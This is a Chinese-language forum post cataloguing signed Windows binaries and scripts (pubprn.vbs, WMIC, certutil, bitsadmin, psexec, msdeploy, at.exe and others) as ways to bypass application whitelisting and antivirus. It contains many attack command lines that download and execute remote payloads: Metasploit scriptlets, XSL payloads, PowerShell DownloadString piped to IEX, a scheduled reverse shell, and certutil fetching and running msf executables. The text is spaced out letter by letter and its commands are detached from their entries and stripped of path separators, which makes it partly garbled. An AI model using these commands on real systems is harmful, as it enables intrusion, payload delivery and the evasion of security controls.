详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / B 3 o i M r E B 9 8 j t m 4 D v D 2 t 2 t Q w i n r m . v b s ( S y s t e m 3 2 中 的 W i n d o w s 签 名 脚 本 ) 能 够 使 用 和 执 行 攻 击 者 控 制 的 X S L ， 而 X S L 不 受 “ e n l i g h t e n e d   s c r i p t   h o s t ” 的 限 制 ， 导 致 任 意 的 、 无 签 名 的 代 码 执 行 。 w i n r m . v b s 文 件 位 置 ： 执 行 方 式 ： p u b p r n . v b s 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / b t i a V M B P x f x G 4 o X P a 7 _ _ k w 在 W i n d o w s   7 + 上 ， 存 在 一 个 M i c r o s o f t 签 名 的 W S H 脚 本 ， 名 为 ， 该 脚 本 位 于 中 。 在 查 看 此 特 定 脚 本 时 ， 很 明 显 它 正 在 接 受 用 户 提 供 的 输 入 （ 通 过 命 令 行 参 数 ） 并 将 参 数 传 递 给 。 文 件 位 置 ： 执 行 方 式 ： X w i z a r d . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 8 g a w e O q k O r T 7 7 r i a e v v F U g x w i z a r d . e x e 应 该 为 E x t e n s i b l e   w i z a r d 的 缩 写 ， 中 文 翻 译 可 扩 展 的 向 导 主 机 进 程 ， 暂 时 无 法 获 得 官 方 资 料 。 利 用 x w i z a r d . e x e 加 载 d l l 可 以 绕 过 应 用 程 序 白 名 单 限 制 ， 该 方 法 最 大 的 特 点 是 x w i z a r d . e x e 自 带 微 软 签 名 ， 在 某 种 程 度 上 说 ， 能 够 绕 过 应 用 程 序 白 名 单 的 拦 截 。 x w i z a r d . e x e 支 持 W i n 7 及 以 上 操 作 系 统 ， 位 于 % w i n d i r % s y s t e m 3 2 下 。 对 应 6 4 位 系 统 ： 对 应 6 4 位 x w i z a r d . e x e ， 只 能 加 载 6 4 位 x w i z a r d s . d l l 对 应 3 2 位 x w i z a r d . e x e ， 只 能 加 载 3 2 位 x w i z a r d s . d l l 执 行 方 式 ： w i n w o r d . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / q X W K 5 i 2 c D a l e t S z k A E z L 3 w w i n w o r d . e x e 是 微 软 M i c r o s o f t   W o r d 的 主 程 序 。 该 字 处 理 程 序 是 微 软 M i c r o s o f t   O f f i c e 组 件 的 一 部 分 。 执 行 方 式 ： m s d e l o y . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 o E z a d X Z x d 3 J u k r B h N x x y w C : w i n d o w s s y s t e m 3 2 w i n r m . v b s C : w i n d o w s S y s W O W 6 4 w i n r m . v b s c s c r i p t   / b   C : W i n d o w s S y s t e m 3 2 s l m g r . v b s w i n r m   q u i c k c o n f i g P u b P r n . v b s “   C ：   W i n d o w s     S y s t e m 3 2     P r i n t i n g _ A d m i n _ S c r i p t s     e n - U S “ G e t O b j e c t ( ) C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s e n - U S p u b p r n . v b s C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s z h - C N p u b p r n . v b s   1 2 7 . 0 . 0 . 1   s c r i p t : h t t p : / / 1 0 . 2 1 1 . 5 5 . 5 / m s f . s c t % w i n d i r % s y s t e m 3 2 % w i n d i r % S y s W O W 6 4 x w i z a r d   p r o c e s s X M L F i l e   1 . t x t w i n w o r d . e x e   " h t t p : / / 1 9 2 . 1 6 8 . 1 9 . 1 4 6 / s h e l l . d l l "
m s d e p l o y . e x e 是 微 软 提 供 的 w e b 部 署 命 令 行 工 具 ， 通 过 它 可 以 方 便 的 部 署 w e b 应 用 、 数 据 库 等 ， 路 径 在 C : P r o g r a m   F i l e s I I S M i c r o s o f t   W e b   D e p l o y   V 3 。 m s d e l o y . e x e 可 以 使 I I S 可 以 在 本 地 或 远 程 同 步 ， 打 包 和 部 署 W e b 应 用 程 序 ， 网 站 或 W e b 服 务 器 内 容 和 配 置 。 它 具 有 众 多 功 能 ， 这 些 功 能 可 以 高 度 精 确 地 包 括 要 处 理 的 那 些 组 件 ， 并 排 除 那 些 不 需 要 的 组 件 。 为 了 能 够 使 用 W e b   D e p l o y ， 必 须 已 在 源 计 算 机 和 目 标 计 算 机 上 安 装 I I S 。 执 行 方 式 ： p s e x e c . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / J d O m l q i f 6 7 G c S q Z u u G P z 0 Q P s E x e c 是 S y s i n t e r n a l s S u i t e 的 小 工 具 之 一 ， 是 一 种 轻 量 级 的 t e l n e t 替 代 品 ， 允 许 在 其 他 系 统 上 执 行 进 程 ， 完 成 控 制 台 应 用 程 序 的 完 全 交 互 ， 而 无 需 手 动 安 装 客 户 端 软 件 ， 并 且 可 以 获 得 与 控 制 台 应 用 程 序 相 当 的 完 全 交 互 性 。 在 w i n d o w s 系 统 并 未 默 认 安 装 ， 下 载 地 址 见 参 考 文 章 。 执 行 方 式 ： p s e x e c 执 行 p a y l o a d ： W M I C . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Q N q M 8 V d l u - S O P 7 Z q n R W Y 3 w W M I C 扩 展 W M I （ W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n ， W i n d o w s 管 理 工 具 ） ， 提 供 了 从 命 令 行 接 口 和 批 命 令 脚 本 执 行 系 统 管 理 的 支 持 。 在 W M I C 出 现 之 前 ， 如 果 要 管 理 W M I 系 统 ， 必 须 使 用 一 些 专 门 的 W M I 应 用 ， 例 如 S M S ， 或 者 使 用 W M I 的 脚 本 编 程 A P I ， 或 者 使 用 象 C I M   S t u d i o 之 类 的 工 具 。 如 果 不 熟 悉 C + + 之 类 的 编 程 语 言 或 V B S c r i p t 之 类 的 脚 本 语 言 ， 或 者 不 掌 握 W M I 名 称 空 间 的 基 本 知 识 ， 要 用 W M I 管 理 系 统 是 很 困 难 的 。 W M I C 改 变 了 这 种 情 况 。 W i n d o w s   2 0 0 3   默 认 位 置 ： W i n d o w s   7   默 认 位 置 ： 执 行 方 式 ： S y n c A p p v P u b l i s h i n g S e r v e r . v b s 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / U d 7 T b e M J b 8 f s R l a G H W h B w w W i n d o w s 上 有 两 个 版 本 的 S y n c A p p V P u b l i s h i n g S e r v e r 工 具 ， 它 们 是 ： S y n c A p p v P u b l i s h i n g S e r v e r . e x e 、 S y n c A p p v P u b l i s h i n g S e r v e r . v b s , 可 以 用 他 们 来 取 代 p o w e r s h e l l 。 执 行 方 式 ： 在 p o w e r s h e l l 下 执 行 P c a l u a . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A j 9 A 5 _ L R S _ u X 8 X N 1 r d U o b Q P c a l u a 是 W i n d o w s 进 程 兼 容 性 助 理 ( P r o g r a m   C o m p a t i b i l i t y   A s s i s t a n t ) 的 一 个 组 件 。 默 认 在 C : W i n d o w s S y s t e m 3 2 p c a l u a . e x e 执 行 方 式 ： z i p f l d r . d l l 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 m s d e p l o y . e x e   - v e r b : s y n c   - s o u r c e : R u n C o m m a n d   - d e s t : R u n c o m m a n d = " C : P r o g r a m   F i l e s I I S M i c r o s o f t   W e b   D e p l o y   V 3 w _ r e . e x e " p s e x e c . e x e   - s   - d   m s i e x e c   / q   / i   h t t p : / / y o u r s e r v i c e / s h e l l / w i n _ r e . t x t / / - s   以 s y s t e m 权 限 执 行 / /   - d   不 产 生 交 互 式 窗 口 C : W I N D O W S s y s t e m 3 2 w b e m w m i c . e x e   C : W I N D O W S S y s W O W 6 4 w b e m w m i c . e x e C : W i n d o w s S y s t e m 3 2 w b e m W M I C . e x e   C : W i n d o w s S y s W O W 6 4 w b e m W M I C . e x e w m i c   o s   g e t   / F O R M A T : " h t t p : / / 1 0 . 2 1 1 . 5 5 . 1 0 / p a y l o a d . x s l " S y n c A p p v P u b l i s h i n g S e r v e r . v b s   " n ; ( ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / s o m e . u r l / s c r i p t . p s 1 ' )   |   I E X " P c a l u a   - m   - a   p a y l o a d
详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / - q P V e n I _ l k - Z n M A 4 j 9 X N R Q z i p f l d r . d l l 自 W i n d o w s   x p 开 始 自 带 的 z i p 文 件 压 缩 / 解 压 工 具 组 件 。 说 明 ： z i p f l d r . d l l 所 在 路 径 已 被 系 统 添 加 P A T H 环 境 变 量 中 ， 因 此 ， z i p f l d r . d l l 命 令 可 识 别 ， 但 由 于 为 d l l 文 件 ， 需 调 用 r u n d l l 3 2 . e x e 来 执 行 。 W i n d o w s   2 0 0 3   默 认 位 置 ： W i n d o w s   7   默 认 位 置 ： 执 行 方 式 ： U r l . d l l 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / G z o Y v f j 7 N k X e _ n c 8 e O V E B Q u r l . d l l 是 I n t e r n e t 快 捷 壳 扩 展 相 关 应 用 程 序 接 口 系 统 文 件 。 u r l . d l l 所 在 路 径 已 被 系 统 添 加 P A T H 环 境 变 量 中 ， 因 此 ， u r l . d l l 命 令 可 识 别 ， 但 由 于 为 d l l 文 件 ， 需 调 用 r u n d l l 3 2 . e x e 来 执 行 。 W i n d o w s   2 0 0 3   默 认 位 置 ： W i n d o w s   7   默 认 位 置 ： 执 行 方 式 ： D i s k S h a d o w . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / p r 0 K Y j k 8 0 Y I k 4 q J O 5 h 3 Y a w d i s k s h a d o w . e x e 是 一 种 工 具 ， 可 公 开 卷 影 复 制 服 务 （ V S S ） 提 供 的 功 能 。 默 认 情 况 下 ， d i s k s h a d o w 使 用 类 似 于 d i s k r a i d 或 D i s k P a r t 的 交 互 式 命 令 解 释 器 。 d i s k s h a d o w 还 包 括 可 编 写 脚 本 的 模 式 。 （ 详 见 微 软 官 方 文 档 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s - s e r v e r / a d m i n i s t r a t i o n / w i n d o w s - c o m m a n d s / d i s k s h a d o w ） 执 行 方 式 ： O d b c c o n f . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / u O w q b W 0 n k G 7 7 6 z Z z 6 O _ W F A O d b c c o n f . e x e 是 一 个 命 令 行 工 具 ， 可 让 您 配 置 O D B C 驱 动 程 序 和 数 据 源 名 称 （ 微 软 官 方 文 档 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s q l / o d b c / o d b c c o n f - e x e ? v i e w = s q l - s e r v e r - v e r 1 5 ） 。 O d b c c o n f . e x e 在 w i n d o w s 中 的 的 一 般 路 径 为 C : W i n d o w s S y s t e m 3 2 o d b c c o n f . e x e     C : W i n d o w s S y s W O W 6 4 o d b c c o n f . e x e 执 行 方 式 ： F o r f i l e s . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 - H y e N r d 4 I X Q Y s y G 6 d H Q k w F o r f i l e s 是 一 款 w i n d o w s 平 台 默 认 安 装 的 文 件 操 作 搜 索 工 具 之 一 ， 可 以 通 过 文 件 名 称 ， 修 改 日 期 等 条 件 选 择 文 件 并 运 行 一 个 命 令 来 操 作 文 件 。 它 可 以 直 接 在 命 令 行 中 使 用 ， 也 可 以 在 批 处 理 文 件 或 其 他 脚 本 中 使 用 。 默 认 安 装 位 置 ： C : W i n d o w s S y s t e m 3 2 z i p f l d r . d l l C : W i n d o w s S y s W O W 6 4 z i p f l d r . d l l C : W i n d o w s S y s t e m 3 2 z i p f l d r . d l l C : W i n d o w s S y s W O W 6 4 z i p f l d r . d l l r u n d l l 3 2 . e x e   z i p f l d r . d l l , R o u t e T h e C a l l   m s f . e x e C : W i n d o w s S y s t e m 3 2 u r l . d l l C : W i n d o w s S y s W O W 6 4 u r l . d l l C : W i n d o w s S y s t e m 3 2 u r l . d l l C : W i n d o w s S y s W O W 6 4 u r l . d l l r u n d l l 3 2 . e x e   u r l . d l l ,   O p e n U R L   f i l e : / / c : w i n d o w s s y s t e m 3 2 c a l c . e x e r u n d l l 3 2 . e x e   u r l . d l l ,   O p e n U R L A   f i l e : / / c : w i n d o w s s y s t e m 3 2 c a l c . e x e r u n d l l 3 2 . e x e   u r l . d l l ,   F i l e P r o t o c o l H a n d l e r   c a l c . e x e d i s k s h a d o w . e x e   / s   c : t e s t d i s k s h a d o w . t x t o d b c c o n f . e x e   / a   { r e g s v r   C : U s e r s A d m i n i s t r a t o r D e s k t o p h a c k e r . d l l } C : W I N D O W S s y s t e m 3 2 f o r f i l e s . e x e C : W I N D O W S S y s W O W 6 4 f o r f i l e s . e x e
说 明 ： F o r f i l e s . e x e 所 在 路 径 已 被 系 统 添 加 P A T H 环 境 变 量 中 ， 因 此 ， F o r f i l e s 命 令 可 识 别 ， 需 注 意 x 8 6 ， x 6 4 位 的 F o r f i l e s 调 用 。 执 行 方 式 ： T e . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / m 3 7 w m 6 2 0 q Q 1 x w 4 B N 2 h G O p g 如 果 安 装 了 T A E F （ T e s t   A u t h o r i n g   a n d   E x e c u t i o n   F r a m e w o r k ） 框 架 并 且 位 于 列 入 白 名 单 的 路 径 中 ， 则 可 以 使 用 它 , 需 要 在 计 算 机 上 安 装 V i s u a l   S t u d i o 和 W D K 。 微 软 官 方 文 档 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s - h a r d w a r e / d r i v e r s / t a e f / 默 认 安 装 位 置 ： 使 用 脚 本 语 言 编 写 测 试 ， W i n d o w s 仅 支 持 J S c r i p t 和 V B S c r i p t 。 执 行 方 式 ： C S c r i p t . e x e / W S c r i p t . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / j z W H q 7 Y c 1 U j O w n X u l I A P K Q 系 统 文 件 c s c r i p t . e x e 是 存 放 在 W i n d o w s 系 统 文 件 夹 中 的 重 要 文 件 ， 通 常 情 况 下 是 在 安 装 操 作 系 统 过 程 中 自 动 创 建 的 ， 对 于 系 统 正 常 运 行 来 说 至 关 重 要 ， W i n d o w s   S c r i p t   H o s t 引 擎 在 c s c r i p t . e x e 来 寻 找 和 连 接 脚 本 的 运 行 库 ， 最 常 见 的 有 V B S c r i p t 和 J a v a S c r i p t 。 w s c r i p t 全 称 “ W i n d o w s   S c r i p t i n g   H o s t ” ， 是 一 种 批 次 语 言 / 自 动 执 行 工 具 — — 它 所 对 应 的 程 序 “ w s c r i p t . e x e ” 是 一 个 脚 本 语 言 解 释 器 ， 位 于 C : W I N D O W S s y s t e m 3 2 目 录 下 ， 正 是 它 才 使 得 脚 本 可 以 被 执 行 ， 就 象 执 行 批 处 理 一 样 ， 可 以 拿 来 执 行 . w s h ， . v b s ， . j s 等 。 W S c r i p t 是 一 个 窗 口 化 的 版 本 ； C S c r i p t 是 一 个 命 令 行 的 版 本 。 两 种 版 本 都 可 以 运 行 任 何 脚 本 。 二 者 之 间 的 区 别 是 ， 窗 口 化 版 本 （ W S c r i p t ） 使 用 一 个 弹 出 对 话 框 来 显 示 文 本 输 出 消 息 ， 而 命 令 行 版 本 （ C S C r i p t ） 通 过 命 令 行 程 序 所 见 的 、 常 规 的 “ 标 准 输 出 ” 方 法 来 显 示 文 本 。 C S c r i p t / W S c r i p t 可 以 用 来 执 行 v b s 和 j s 等 脚 本 ， 是 否 能 达 到 免 杀 的 目 的 取 决 于 执 行 的 脚 本 本 身 的 免 杀 能 力 。 执 行 方 式 ： 使 用 c s c r i p t . e x e 执 行 生 成 的 v b s 脚 本 。 使 用 W S c r i p t . e x e 执 行 v b s 反 弹 脚 本 , 和 c s c r i p t . e x e 相 比 命 令 行 中 没 有 文 本 输 出 信 息 。 I n f D e f a u l t I n s t a l l . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / m r t X 4 a y C X J J 1 L P f B l S u v H w I n f D e f a u l t I n s t a l l . e x e 是 一 个 用 来 进 行 i n f 安 装 的 工 具 ， 具 有 微 软 签 名 ， 存 在 路 径 为 ： 执 行 方 式 ： 其 他 其 他 M S   w i n d o w s 程 序 程 序 ( 4 5 个 个 ) A t . e x e 使 用 说 明 ： w i n d o w s 计 划 任 务 程 序 。 文 件 路 径 : C : W I N D O W S S y s W O W 6 4 f o r f i l e s . e x e f o r f i l e s   / p   c : w i n d o w s s y s t e m 3 2   / m   c m d . e x e   / c   " m s i e x e c . e x e   / q   / i   C : U s e r s a d m i n i s t r a t o r D e s k t o p T I D E . t x t " C :   p r o g r a m   f i l e s ( x 8 6 ) W i n d o w s   K i t s 1 0 t e s t i n g R u n t i m e s T A E F t e . e x e   b y p a s s . w s c c s c r i p t . e x e   T I D E . v b s W S c r i p t . e x e   T I D E . v b s C : W i n d o w s S y s t e m 3 2 I n f d e f a u l t i n s t a l l . e x e C : W i n d o w s S y s W O W 6 4 I n f d e f a u l t i n s t a l l . e x e I n f D e f a u l t I n s t a l l . e x e   " C : x x x s h a d y . i n f " C : W I N D O W S S y s t e m 3 2 A t . e x e C : W I N D O W S S y s W O W 6 4 A t . e x e
执 行 方 式 ： 参 考 资 料 ： A t b r o k e r . e x e 使 用 说 明 ： w i n d o w s 辅 助 技 术 A T 程 序 。 文 件 路 径 : 执 行 方 式 ： 参 考 资 料 ： B a s h . e x e 使 用 说 明 ： W i n d o w s 子 系 统 用 于 L i n u x 的 文 件 文 件 路 径 : 执 行 方 式 ： 参 考 资 料 ： B i t s a d m i n . e x e 使 用 说 明 ： 用 于 管 理 后 台 文 件 传 输 的 程 序 。 文 件 路 径 : 执 行 方 式 ： 下 载 文 件 参 考 资 料 ： C e r t u t i l . e x e 使 用 说 明 ： C e r t u t i l . e x e 是 一 个 命 令 行 程 序 ， 作 为 证 书 服 务 的 一 部 分 安 装 。 我 们 可 以 使 用 此 工 具 在 目 标 计 算 机 上 执 行 我 们 的 恶 意 e x e 文 件 以 获 取 m e t e r p r e t e r 会 话 。 文 件 路 径 : 执 行 方 式 ： C : W i n d o w s S y s t e m 3 2 a t . e x e   a t   0 9 : 0 0   / i n t e r a c t i v e   / e v e r y : m , t , w , t h , f , s , s u   C : W i n d o w s S y s t e m 3 2 r e v s h e l l . e x e h t t p s : / / f r e d d i e b a r r s m i t h . c o m / a t . t x t h t t p s : / / s u s h a n t 7 4 7 . g i t b o o k s . i o / t o t a l - o s c p - g u i d e / p r i v i l e g e _ e s c a l a t i o n _ w i n d o w s . h t m l   -   E s c a l a t e   t o   S y s t e m   f r o m   A d m i n i s t r a t o r h t t p s : / / w w w . s e c u r e w o r k s . c o m / b l o g / w h e r e - y o u - a t - i n d i c a t o r s - o f - l a t e r a l - m o v e m e n t - u s i n g - a t - e x e - o n - w i n d o w s - 7 - s y s t e m s C : W i n d o w s S y s t e m 3 2 A t b r o k e r . e x e C : W i n d o w s S y s W O W 6 4 A t b r o k e r . e x e A T B r o k e r . e x e   / s t a r t   m a l w a r e h t t p : / / w w w . h e x a c o r n . c o m / b l o g / 2 0 1 6 / 0 7 / 2 2 / b e y o n d - g o o d - o l - r u n - k e y - p a r t - 4 2 / C : W i n d o w s S y s t e m 3 2 b a s h . e x e C : W i n d o w s S y s W O W 6 4 b a s h . e x e b a s h . e x e   - c   c a l c . e x e h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / s e c u r i t y / t h r e a t - p r o t e c t i o n / w i n d o w s - d e f e n d e r - a p p l i c a t i o n - c o n t r o l / m i c r o s o f t - r e c o m m e n d e d - b l o c k - r u l e s C : W i n d o w s S y s t e m 3 2 b i t s a d m i n . e x e C : W i n d o w s S y s W O W 6 4 b i t s a d m i n . e x e b i t s a d m i n   / c r e a t e   1   &   b i t s a d m i n   / a d d f i l e   1   c : w i n d o w s s y s t e m 3 2 c m d . e x e   c : d a t a p l a y f o l d e r c m d . e x e   &   b i t s a d m i n   / S e t N o t i f y C m d L i n e   1   c : d a t a p l a y f o l d e r c m d . e x e   N U L L   &   b i t s a d m i n   / R E S U M E   1   &   b i t s a d m i n   / R e s e t b i t s a d m i n   / c r e a t e   1   b i t s a d m i n   / a d d f i l e   1   h t t p s : / / l i v e . s y s i n t e r n a l s . c o m / a u t o r u n s . e x e   c : d a t a p l a y f o l d e r a u t o r u n s . e x e   b i t s a d m i n   / R E S U M E   1   b i t s a d m i n   / c o m p l e t e   1 h t t p s : / / w w w . s l i d e s h a r e . n e t / c h r i s g a t e s / w i n d o w s - a t t a c k s - a t - i s - t h e - n e w - b l a c k - 2 6 6 7 2 6 7 9   -   s l i d e   5 3 h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = _ 8 x J a a Q l p B o h t t p s : / / g i s t . g i t h u b . c o m / a p i 0 c r a d l e / c d d 2 d 0 d 0 e c 9 a b b 6 8 6 f 0 e 8 9 3 0 6 e 2 7 7 b 8 f C : W i n d o w s S y s t e m 3 2 c e r t u t i l . e x e C : W i n d o w s S y s W O W 6 4 c e r t u t i l . e x e c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x . x . x . x / m s f   a . e x e   & &   a . e x e c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / x . x . x . x / x . j a r   & & j a v a   - j a r   x . j a r c e r t u t i l . e x e   - v e r i f y c t l   - f   - s p l i t   h t t p : / / 7 - z i p . o r g / a / 7 z 1 6 0 4 - x 6 4 . e x e   7 z i p . e x e c e r t u t i l   - e n c o d e   i n p u t F i l e N a m e   e n c o d e d O u t p u t F i l e N a m e c e r t u t i l   - d e c o d e   e n c o d e d I n p u t F i l e N a m e   d e c o d e d O u t p u t F i l e N a m e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理